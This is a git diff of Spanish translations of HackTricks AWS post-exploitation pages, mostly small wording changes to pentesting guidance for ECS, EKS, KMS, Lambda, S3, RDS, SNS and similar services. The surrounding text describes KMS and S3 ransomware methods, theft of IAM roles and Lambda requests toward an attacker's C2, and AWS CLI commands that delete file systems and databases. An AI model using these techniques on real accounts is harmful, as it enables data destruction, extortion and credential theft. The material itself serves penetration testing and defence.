a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -12,8 +12,8 @@ Para más información, consulta: ### Roles IAM de Host -En ECS, un **rol IAM puede ser asignado a la tarea** que se ejecuta dentro del contenedor. **Si** la tarea se ejecuta dentro de una **instancia EC2**, la **instancia EC2** tendrá **otro rol IAM** adjunto.\ -Lo que significa que si logras **comprometer** una instancia ECS, puedes potencialmente **obtener el rol IAM asociado al ECR y a la instancia EC2**. Para más información sobre cómo obtener esas credenciales, consulta: +En ECS, un **rol IAM puede ser asignado a la tarea** que se ejecuta dentro del contenedor. **Si** la tarea se ejecuta dentro de una **instancia EC2**, la **instancia EC2** tendrá un **rol IAM** diferente adjunto.\ +Lo que significa que si logras **comprometer** una instancia ECS, potencialmente puedes **obtener el rol IAM asociado al ECR y a la instancia EC2**. Para más información sobre cómo obtener esas credenciales, consulta: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -22,13 +22,13 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou > [!CAUTION] > Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, [**según la documentación**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **respuesta de la solicitud PUT** tendrá un **límite de salto de 1**, lo que hace imposible acceder a los metadatos de EC2 desde un contenedor dentro de la instancia EC2. -### Privesc al nodo para robar credenciales y secretos de otros contenedores +### Privesc a nodo para robar credenciales y secretos de otros contenedores -Además, EC2 utiliza Docker para ejecutar tareas de ECS, así que si puedes escapar al nodo o **acceder al socket de Docker**, puedes **verificar** qué **otros contenedores** se están ejecutando, e incluso **entrar en ellos** y **robar sus roles IAM** adjuntos. +Además, EC2 utiliza docker para ejecutar tareas de ECS, así que si puedes escapar al nodo o **acceder al socket de docker**, puedes **verificar** qué **otros contenedores** se están ejecutando, e incluso **entrar en ellos** y **robar sus roles IAM** adjuntos. #### Haciendo que los contenedores se ejecuten en el host actual -Además, el **rol de la instancia EC2** generalmente tendrá suficientes **permisos** para **actualizar el estado de la instancia del contenedor** de las instancias EC2 que se utilizan como nodos dentro del clúster. Un atacante podría modificar el **estado de una instancia a DRAINING**, entonces ECS **eliminará todas las tareas de ella** y las que se están ejecutando como **REPLICA** se **ejecutarán en una instancia diferente,** potencialmente dentro de la **instancia del atacante** para que pueda **robar sus roles IAM** y potencial información sensible desde dentro del contenedor. +Además, el **rol de la instancia EC2** generalmente tendrá suficientes **permisos** para **actualizar el estado de la instancia del contenedor** de las instancias EC2 que se utilizan como nodos dentro del clúster. Un atacante podría modificar el **estado de una instancia a DRAINING**, luego ECS **eliminará todas las tareas de ella** y las que se están ejecutando como **REPLICA** se **ejecutarán en una instancia diferente,** potencialmente dentro de la **instancia del atacante**, para que pueda **robar sus roles IAM** y potencial información sensible desde dentro del contenedor. ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md index 8a2d01ea1..b11736ea7 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md @@ -20,7 +20,7 @@ aws efs delete-mount-target --mount-target-id ### `elasticfilesystem:DeleteFileSystem` -Un atacante podría eliminar un sistema de archivos EFS completo, lo que podría llevar a la pérdida de datos e impactar aplicaciones que dependen del sistema de archivos. +Un atacante podría eliminar un sistema de archivos EFS completo, lo que podría llevar a la pérdida de datos e impactar a las aplicaciones que dependen del sistema de archivos. ```perl aws efs delete-file-system --file-system-id ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index 6720b5912..d7e08c6a0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -12,7 +12,7 @@ Para más información, consulta ### Enumerar el clúster desde la consola de AWS -Si tienes el permiso **`eks:AccessKubernetesApi`** puedes **ver objetos de Kubernetes** a través de la consola de AWS EKS ([Aprende más](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +Si tienes el permiso **`eks:AccessKubernetesApi`** puedes **ver objetos de Kubernetes** a través de la consola de AWS EKS ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). ### Conectar al clúster de Kubernetes de AWS @@ -25,7 +25,7 @@ aws eks update-kubeconfig --name aws-eks-dev Si puedes **obtener un token** con **`aws eks get-token --name `** pero no tienes permisos para obtener información del clúster (describeCluster), podrías **preparar tu propio `~/.kube/config`**. Sin embargo, teniendo el token, aún necesitas la **url del endpoint para conectarte** (si lograste obtener un token JWT de un pod lee [aquí](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) y el **nombre del clúster**. -En mi caso, no encontré la información en los registros de CloudWatch, pero **la encontré en LaunchTemplates userData** y en **máquinas EC2 en userData también**. Puedes ver esta información en **userData** fácilmente, por ejemplo en el siguiente ejemplo (el nombre del clúster era cluster-name): +En mi caso, no encontré la información en los logs de CloudWatch, pero **la encontré en LaunchTemplates userData** y en **máquinas EC2 en userData también**. Puedes ver esta información en **userData** fácilmente, por ejemplo en el siguiente ejemplo (el nombre del clúster era cluster-name): ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com @@ -72,7 +72,7 @@ provideClusterInfo: false ### De AWS a Kubernetes -El **creador** del **clúster EKS** **SIEMPRE** podrá acceder a la parte del clúster de kubernetes del grupo **`system:masters`** (admin de k8s). En el momento de escribir esto, **no hay forma directa** de encontrar **quién creó** el clúster (puedes verificar CloudTrail). Y **no hay forma** de **eliminar** ese **privilegio**. +El **creador** del **clúster EKS** **SIEMPRE** podrá acceder a la parte del clúster de kubernetes del grupo **`system:masters`** (admin de k8s). En el momento de escribir esto, **no hay una forma directa** de encontrar **quién creó** el clúster (puedes verificar CloudTrail). Y **no hay forma** de **eliminar** ese **privilegio**. La forma de otorgar **acceso a más usuarios o roles de AWS IAM sobre K8s** es utilizando el **configmap** **`aws-auth`**. @@ -114,7 +114,7 @@ for comb in product(letter_combinations, number_combinations) with open('out.txt', 'w') as f: f.write('\n'.join(result)) ``` -Entonces con wfuzz +Luego con wfuzz ```bash wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com ``` @@ -133,11 +133,11 @@ Ten en cuenta que el **clúster EKS podría tener registros habilitados** que re Por defecto, el **usuario o rol que creó** un clúster **SIEMPRE tendrá privilegios de administrador** sobre el clúster. Y ese es el único acceso "seguro" que AWS tendrá sobre el clúster de Kubernetes. -Así que, si un **atacante compromete un clúster usando fargate** y **elimina a todos los otros administradores** y **elimina el usuario/rol de AWS que creó** el clúster, ~~el atacante podría haber **secuestrado el clúster**~~**r**. +Así que, si un **atacante compromete un clúster usando fargate** y **elimina a todos los otros administradores** y **elimina el usuario/rol de AWS que creó** el clúster, ~~el atacante podría haber **secuestrado el clúster**~~. > [!TIP] -> Ten en cuenta que si el clúster estaba usando **EC2 VMs**, podría ser posible obtener privilegios de administrador desde el **Nodo** y recuperar el clúster. +> Ten en cuenta que si el clúster estaba usando **EC2 VMs**, podría ser posible obtener privilegios de administrador desde el **Node** y recuperar el clúster. > -> De hecho, si el clúster está usando Fargate, podrías EC2 nodos o mover todo a EC2 al clúster y recuperarlo accediendo a los tokens en el nodo. +> De hecho, si el clúster está usando Fargate, podrías EC2 nodes o mover todo a EC2 al clúster y recuperarlo accediendo a los tokens en el nodo. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 38399e374..db09c35a4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -15,11 +15,11 @@ Para más información: > [!NOTE] > TODO: Probar si se requieren más permisos para esto -Un atacante con el permiso `elasticbeanstalk:DeleteApplicationVersion` puede **eliminar una versión de aplicación existente**. Esta acción podría interrumpir los pipelines de despliegue de aplicaciones o causar la pérdida de versiones específicas de la aplicación si no se respaldan. +Un atacante con el permiso `elasticbeanstalk:DeleteApplicationVersion` puede **eliminar una versión de aplicación existente**. Esta acción podría interrumpir las canalizaciones de implementación de aplicaciones o causar la pérdida de versiones específicas de la aplicación si no se respaldan. ```bash aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version ``` -**Impacto Potencial**: Disrupción del despliegue de aplicaciones y posible pérdida de versiones de aplicaciones. +**Impacto Potencial**: Disrupción del despliegue de la aplicación y posible pérdida de versiones de la aplicación. ### `elasticbeanstalk:TerminateEnvironment` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index c43ef3e9a..6d708f98a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -43,7 +43,7 @@ Ejemplo: ### Confianzas inesperadas -#### Comodín como principal +#### Wildcard como principal ```json { "Action": "sts:AssumeRole", @@ -73,7 +73,7 @@ Esta política **permite a cualquier cuenta** configurar su apigateway para llam } } ``` -Si un bucket de S3 se da como principal, debido a que los buckets de S3 no tienen un ID de cuenta, si **eliminaste tu bucket y el atacante lo creó** en su propia cuenta, entonces podrían abusar de esto. +Si un bucket de S3 se da como principal, porque los buckets de S3 no tienen un ID de cuenta, si **eliminaste tu bucket y el atacante lo creó** en su propia cuenta, entonces podrían abusar de esto. #### No soportado ```json diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index a30387b55..f5206138c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -4,7 +4,7 @@ ## KMS -Para más información, consulta: +Para más información consulta: {{#ref}} ../aws-services/aws-kms-enum.md @@ -20,7 +20,7 @@ Para más información, consulta: > [!TIP] > Ten en cuenta que si deseas descifrar algunos datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://) -- Usando una **clave** simétrica +- Usando una clave **simétrica** ```bash # Encrypt data aws kms encrypt \ @@ -60,7 +60,7 @@ aws kms decrypt \ ``` ### KMS Ransomware -Un atacante con acceso privilegiado sobre KMS podría modificar la política de KMS de las claves y **otorgar acceso a su cuenta sobre ellas**, eliminando el acceso otorgado a la cuenta legítima. +Un atacante con acceso privilegiado sobre KMS podría modificar la política de KMS de las claves y **otorgar a su cuenta acceso sobre ellas**, eliminando el acceso otorgado a la cuenta legítima. Entonces, los usuarios de la cuenta legítima no podrán acceder a ninguna información de ningún servicio que haya sido cifrado con esas claves, creando un ransomware fácil pero efectivo sobre la cuenta. @@ -102,7 +102,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ Hay otra forma de realizar un ransomware KMS global, que implicaría los siguientes pasos: -- Crear una nueva **clave con un material de clave** importado por el atacante +- Crear una **nueva clave con un material de clave** importado por el atacante - **Reencriptar datos antiguos** encriptados con la versión anterior con la nueva. - **Eliminar la clave KMS** - Ahora solo el atacante, que tiene el material de clave original, podría ser capaz de desencriptar los datos encriptados diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 5f37b0949..9f589491d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -4,7 +4,7 @@ ## Lambda -Para más información consulta: +Para más información, consulta: {{#ref}} ../../aws-services/aws-lambda-enum.md @@ -20,7 +20,7 @@ aws-warm-lambda-persistence.md ### Robar Solicitudes URL de Lambda de Otros y Solicitudes de Extensiones -Abusando de Lambda Layers también es posible abusar de extensiones y persistir en el lambda, pero también robar y modificar solicitudes. +Abusando de Lambda Layers, también es posible abusar de extensiones y persistir en el lambda, pero también robar y modificar solicitudes. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index 66331036b..2aa9a74c1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -9,7 +9,7 @@ 1. **Slicer** es un proceso fuera del contenedor que **envía** **invocaciones** al proceso **init**. 2. El proceso init escucha en el puerto **9001** exponiendo algunos puntos finales interesantes: - **`/2018-06-01/runtime/invocation/next`** – obtener el siguiente evento de invocación -- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – devolver la respuesta del manejador para la invocación +- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – devolver la respuesta del controlador para la invocación - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – devolver un error de ejecución 3. **bootstrap.py** tiene un bucle que obtiene invocaciones del proceso init y llama al código del usuario para manejarlas (**`/next`**). 4. Finalmente, **bootstrap.py** envía al init la **respuesta** @@ -18,16 +18,16 @@ Nota que bootstrap carga el código del usuario como un módulo, por lo que cual ## Robando Solicitudes de Lambda -El objetivo de este ataque es hacer que el código del usuario ejecute un proceso **`bootstrap.py`** malicioso dentro del proceso **`bootstrap.py`** que maneja la solicitud vulnerable. De esta manera, el proceso **bootstrap malicioso** comenzará a **comunicarse con el proceso init** para manejar las solicitudes mientras que el bootstrap **legítimo** está **atrapado** ejecutando el malicioso, por lo que no pedirá solicitudes al proceso init. +El objetivo de este ataque es hacer que el código del usuario ejecute un proceso **`bootstrap.py`** malicioso dentro del proceso **`bootstrap.py`** que maneja la solicitud vulnerable. De esta manera, el proceso **bootstrap malicioso** comenzará a **comunicarse con el proceso init** para manejar las solicitudes mientras el bootstrap **legítimo** está **atrapado** ejecutando el malicioso, por lo que no pedirá solicitudes al proceso init. Esta es una tarea simple de lograr ya que el código del usuario está siendo ejecutado por el legítimo proceso **`bootstrap.py`**. Así que el atacante podría: - **Enviar un resultado falso de la invocación actual al proceso init**, para que init piense que el proceso bootstrap está esperando más invocaciones. - Se debe enviar una solicitud a **`/${invoke-id}/response`** -- El invoke-id se puede obtener de la pila del legítimo proceso **`bootstrap.py`** utilizando el módulo python [**inspect**](https://docs.python.org/3/library/inspect.html) (como [se propone aquí](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) o simplemente solicitándolo nuevamente a **`/2018-06-01/runtime/invocation/next`** (como [se propone aquí](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). +- El invoke-id se puede obtener de la pila del legítimo proceso **`bootstrap.py`** usando el módulo python [**inspect**](https://docs.python.org/3/library/inspect.html) (como [se propuso aquí](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) o simplemente solicitándolo nuevamente a **`/2018-06-01/runtime/invocation/next`** (como [se propuso aquí](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). - Ejecutar un **`boostrap.py`** malicioso que manejará las siguientes invocaciones. -- Por razones de sigilo, es posible enviar los parámetros de las invocaciones de lambda a un C2 controlado por el atacante y luego manejar las solicitudes como de costumbre. -- Para este ataque, es suficiente obtener el código original de **`bootstrap.py`** del sistema o de [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), agregar el código malicioso y ejecutarlo desde la invocación lambda actual. +- Por razones de sigilo, es posible enviar los parámetros de invocación de lambda a un C2 controlado por el atacante y luego manejar las solicitudes como de costumbre. +- Para este ataque, es suficiente obtener el código original de **`bootstrap.py`** del sistema o [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), agregar el código malicioso y ejecutarlo desde la invocación lambda actual. ### Pasos del Ataque diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md index 2e87fb4cd..f0ea885c6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md @@ -17,11 +17,11 @@ Si la DB tiene instantáneas, podrías **encontrar información sensible actualm ### Restaurar Instantáneas de Instancia Las instantáneas de instancia pueden contener **información sensible** de instancias ya eliminadas o información sensible que se ha eliminado en la instancia actual. **Crea nuevas instancias a partir de las instantáneas** y revísalas.\ -O **exporta la instantánea a un AMI en EC2** y sigue los pasos de una instancia EC2 típica. +O **exporta la instantánea a un AMI en EC2** y sigue los pasos de una instancia típica de EC2. ### Acceder a Información Sensible -Consulta las opciones de privesc de Lightsail para aprender diferentes formas de acceder a información sensible potencial: +Consulta las opciones de privesc de Lightsail para aprender diferentes formas de acceder a información potencialmente sensible: {{#ref}} ../aws-privilege-escalation/aws-lightsail-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md index d11495625..9c5ce28f0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - Organizations Post Exploitation +# AWS - Organizaciones Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## Organizaciones -Para más información sobre AWS Organizations, consulta: +Para más información sobre AWS Organizations consulta: {{#ref}} ../aws-services/aws-organizations-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md index e10a8544c..f94484f82 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md @@ -4,7 +4,7 @@ ## RDS -Para más información, consulta: +Para más información consulta: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,7 +12,7 @@ Para más información, consulta: ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Si el atacante tiene suficientes permisos, podría hacer que una **DB sea accesible públicamente** creando un snapshot de la DB y luego una DB accesible públicamente a partir del snapshot. +Si el atacante tiene suficientes permisos, podría hacer que una **DB sea accesible públicamente** creando un snapshot de la DB, y luego una DB accesible públicamente a partir del snapshot. ```bash aws rds describe-db-instances # Get DB identifier @@ -70,7 +70,7 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final ### `rds:StartExportTask` -> [!NOTE] +> [!NOTA] > TODO: Probar Un atacante con este permiso puede **exportar una instantánea de la instancia RDS a un bucket S3**. Si el atacante tiene control sobre el bucket S3 de destino, puede acceder potencialmente a datos sensibles dentro de la instantánea exportada. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index 37f5e3ea0..4df3a8796 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -4,7 +4,7 @@ ## S3 -Para más información consulta: +Para más información, consulta: {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md @@ -21,17 +21,17 @@ Por ejemplo, **airflow** podría estar almacenando **código** de **DAGs** allí ### Ransomware en S3 -En este escenario, el **atacante crea una clave KMS (Key Management Service) en su propia cuenta de AWS** o en otra cuenta comprometida. Luego hace que esta **clave sea accesible para cualquier persona en el mundo**, permitiendo a cualquier usuario, rol o cuenta de AWS cifrar objetos usando esta clave. Sin embargo, los objetos no pueden ser descifrados. +En este escenario, el **atacante crea una clave KMS (Key Management Service) en su propia cuenta de AWS** o en otra cuenta comprometida. Luego hace que esta **clave sea accesible para cualquier persona en el mundo**, permitiendo que cualquier usuario, rol o cuenta de AWS encripte objetos usando esta clave. Sin embargo, los objetos no pueden ser descifrados. -El atacante identifica un **bucket S3 objetivo y obtiene acceso de nivel de escritura** a él utilizando varios métodos. Esto podría deberse a una mala configuración del bucket que lo expone públicamente o a que el atacante obtiene acceso al entorno de AWS. El atacante generalmente apunta a buckets que contienen información sensible como información de identificación personal (PII), información de salud protegida (PHI), registros, copias de seguridad, y más. +El atacante identifica un **bucket S3 objetivo y obtiene acceso a nivel de escritura** a él utilizando varios métodos. Esto podría deberse a una mala configuración del bucket que lo expone públicamente o a que el atacante obtiene acceso al entorno de AWS. El atacante generalmente apunta a buckets que contienen información sensible como información de identificación personal (PII), información de salud protegida (PHI), registros, copias de seguridad, y más. Para determinar si el bucket puede ser objetivo de ransomware, el atacante verifica su configuración. Esto incluye verificar si **S3 Object Versioning** está habilitado y si **la eliminación de autenticación multifactor (MFA delete) está habilitada**. Si Object Versioning no está habilitado, el atacante puede proceder. Si Object Versioning está habilitado pero MFA delete está deshabilitado, el atacante puede **deshabilitar Object Versioning**. Si tanto Object Versioning como MFA delete están habilitados, se vuelve más difícil para el atacante realizar ransomware en ese bucket específico. -Usando la API de AWS, el atacante **reemplaza cada objeto en el bucket con una copia cifrada usando su clave KMS**. Esto cifra efectivamente los datos en el bucket, haciéndolos inaccesibles sin la clave. +Usando la API de AWS, el atacante **reemplaza cada objeto en el bucket con una copia encriptada usando su clave KMS**. Esto encripta efectivamente los datos en el bucket, haciéndolos inaccesibles sin la clave. Para añadir más presión, el atacante programa la eliminación de la clave KMS utilizada en el ataque. Esto le da al objetivo una ventana de 7 días para recuperar sus datos antes de que la clave sea eliminada y los datos se pierdan permanentemente. -Finalmente, el atacante podría subir un archivo final, generalmente llamado "ransom-note.txt," que contiene instrucciones para el objetivo sobre cómo recuperar sus archivos. Este archivo se sube sin cifrado, probablemente para captar la atención del objetivo y hacerle consciente del ataque de ransomware. +Finalmente, el atacante podría subir un archivo final, generalmente llamado "ransom-note.txt," que contiene instrucciones para el objetivo sobre cómo recuperar sus archivos. Este archivo se sube sin encriptación, probablemente para captar la atención del objetivo y hacerle consciente del ataque de ransomware. **Para más información** [**consulta la investigación original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index 02f4b072e..e34e74a9d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -16,7 +16,7 @@ Los **secretos en sí son información sensible**, [consulta la página de prive ### DoS Cambiar el Valor del Secreto -Cambiar el valor del secreto podría **DoS todo el sistema que depende de ese valor.** +Al cambiar el valor del secreto, podrías **DoS todo el sistema que depende de ese valor.** > [!WARNING] > Ten en cuenta que los valores anteriores también se almacenan, por lo que es fácil volver al valor anterior. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index 0bbaf0708..8cc6e5aa1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -4,7 +4,7 @@ ## SES -Para más información, consulta: +Para más información consulta: {{#ref}} ../aws-services/aws-ses-enum.md @@ -25,19 +25,15 @@ Enviar un correo electrónico. ```bash aws ses send-raw-email --raw-message file://message.json ``` -Aún por probar. - ### `ses:SendTemplatedEmail` Envía un correo electrónico basado en una plantilla. ```bash aws ses send-templated-email --source --destination --template ``` -Aún por probar. - ### `ses:SendBulkTemplatedEmail` -Enviar un correo electrónico a múltiples destinos +Envía un correo electrónico a múltiples destinos ```bash aws ses send-bulk-templated-email --source --template ``` @@ -51,7 +47,7 @@ aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` ### `ses:SendBounce` -Enviar un **correo electrónico de rebote** sobre un correo electrónico recibido (indicando que el correo no pudo ser recibido). Esto solo se puede hacer **hasta 24 horas después de recibir** el correo electrónico. +Enviar un **correo de rebote** sobre un correo recibido (indicando que el correo no pudo ser recibido). Esto solo se puede hacer **hasta 24 horas después de recibir** el correo. ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index 587d6e931..e5c56b2d2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - SNS Post Explotación +# AWS - SNS Post Exploitation {{#include ../../../banners/hacktricks-training.md}} @@ -24,7 +24,7 @@ aws sns delete-topic --topic-arn ### `sns:Publish` -Un atacante podría enviar mensajes maliciosos o no deseados al tema SNS, lo que podría causar corrupción de datos, activar acciones no intencionadas o agotar recursos. +Un atacante podría enviar mensajes maliciosos o no deseados al tema de SNS, lo que podría causar corrupción de datos, activar acciones no intencionadas o agotar recursos. ```bash aws sns publish --topic-arn --message ``` @@ -40,14 +40,14 @@ aws sns set-topic-attributes --topic-arn --attribute-name --attr ### `sns:Subscribe` , `sns:Unsubscribe` -Un atacante podría suscribirse o darse de baja de un tema de SNS, potencialmente obteniendo acceso no autorizado a mensajes o interrumpiendo el funcionamiento normal de las aplicaciones que dependen del tema. +Un atacante podría suscribirse o darse de baja de un tema de SNS, lo que podría permitir el acceso no autorizado a mensajes o interrumpir el funcionamiento normal de las aplicaciones que dependen del tema. ```bash aws sns subscribe --topic-arn --protocol --endpoint aws sns unsubscribe --subscription-arn ``` **Impacto Potencial**: Acceso no autorizado a mensajes, interrupción del servicio para aplicaciones que dependen del tema afectado. -### `sns:AddPermission`, `sns:RemovePermission` +### `sns:AddPermission` , `sns:RemovePermission` Un atacante podría otorgar acceso a usuarios o servicios no autorizados a un tema de SNS, o revocar permisos para usuarios legítimos, causando interrupciones en el funcionamiento normal de las aplicaciones que dependen del tema. ```css diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index ffb485ba9..33fde55d4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -4,7 +4,7 @@ ## SQS -Para más información, consulta: +Para más información consulta: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index aac085c85..ef50a6557 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn ### `states:UpdateMapRun` -Un atacante con este permiso podría manipular la configuración de falla del Map Run y la configuración paralela, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo secundarios permitidos, afectando directamente el rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el conteo de fallas toleradas, pudiendo disminuir este valor a 0, de modo que cada vez que un elemento falla, todo el map run fallaría, afectando directamente la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos. +Un atacante con este permiso podría manipular la configuración de falla del Map Run y la configuración paralela, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo secundarios permitidos, afectando directamente el rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el conteo de fallas toleradas, pudiendo reducir este valor a 0, de modo que cada vez que un elemento falle, todo el map run fallaría, afectando directamente la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] 